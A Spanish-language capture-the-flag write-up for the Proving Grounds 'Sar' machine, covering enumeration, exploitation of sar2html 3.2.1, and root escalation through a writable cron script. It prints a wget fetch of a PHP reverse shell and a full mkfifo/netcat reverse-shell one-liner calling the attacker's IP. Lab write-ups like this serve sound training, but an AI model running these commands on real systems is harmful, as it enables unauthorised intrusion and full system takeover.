🟢Sar
Write-up de la máquina Sar de Proving Grounds #writeup #walkthrough

Enumeración
Servicios abiertos
Comenzamos enumerando los servicios abiertos de la máquina "Sar"
nmap -p- --open --min-rate 500 -Pn -n -vvv 192.168.147.35

Dos puertos abiertos, 22 y 80. Continuamos con el escaneo profundo de estos servicios.
nmap -p22,80 -Pn -n -sVC -vvv 192.168.147.35


Servicios abiertos:
Puerto 22 -> SSH -> OpenSSH 7.6
Puerto 80 -> HTTP -> Apache httpd 2.4.29
Enumeración Web
La máquina "Sar" está ejecutando un servidor Web en el puerto 80, vamos a enumerar su contenido.

Página por defecto de un servidor que está ejecutando Apache. Vamos a enumerar directorios y archivos disponibles.
dirsearch -u "192.168.147.35" -i200,301 -t 30

Hay un archivo /robots.txt que puede ser interesante. Vamos a ver su contenido.

Parece un directorio. Vamos a enumerar su contenido.

Podemos ver la versión "sar2html 3.2.1". Vamos a tratar de buscar algún exploit existente para esta versión.

Explotación
Existen dos posibles exploits. Vamos a descargar el exploit 49344.py
searchsploit -m 49344.py
Una vez descargado, ejecutamos el exploit.

Tenemos shell. Vamos a buscar la flag Local.txt

Elevación de privilegios
La shell obtenida no nos permite movimiento alguno. Vamos a cargar una reverse shell en la máquina víctima que nos permita acceso completo al sistema.
En la máquina de ataque: python2 -m SimpleHTTPServer 80
En la máquina objetivo: wget http://192.168.49.147/php-reverse-shell.php

Ejecutamos un oyente nc en el puerto 1234 y abrimos la shell en el navegador Web.

Realizamos el tratamiento de la tty.
python3 -c 'import pty; pty.spawn("/bin/bash")'

Enumeramos los archivos disponibles en el directorio /var/www/html

En este directorio hay disponible dos ejecutables bash que pueden ser interesantes, finally.sh y write.sh.
Vamos a enumerar el contenido del archivo crontab

El archivo finally.sh que vimos en la enumeración del contenido del directorio, se ejecuta con privilegios elevados cada 5 minutos. Vamos a ver el contenido de los dos scripts que vimos anteriormente.


Tenemos permisos para escribir en el ejecutable write.sh pero no en finally.sh. Vamos a modificar el archivo write.sh para crear una reverse shell que se ejecutará cada 5 minutos.
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.49.147 1337 >/tmp/f" > write.sh

Esperamos 5 minutos y deberemos obtener conexión en la máquina objetivo con privilegios máximos.

Solo quedará buscar la flag proof.txt para acabar la resolución de este CTF.

Last updated
Was this helpful?